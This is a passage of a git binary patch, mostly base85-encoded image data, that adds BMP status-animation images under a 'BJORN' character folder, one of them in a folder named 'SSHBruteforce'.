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 Ne~R@Z{n*Ot{{i&YIi3Ij literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce2.bmp b/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce2.bmp new file mode 100644 index 0000000000000000000000000000000000000000..a6cd3fbe6d518ed8cc07c286e342e076c358753c GIT binary patch literal 18462 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 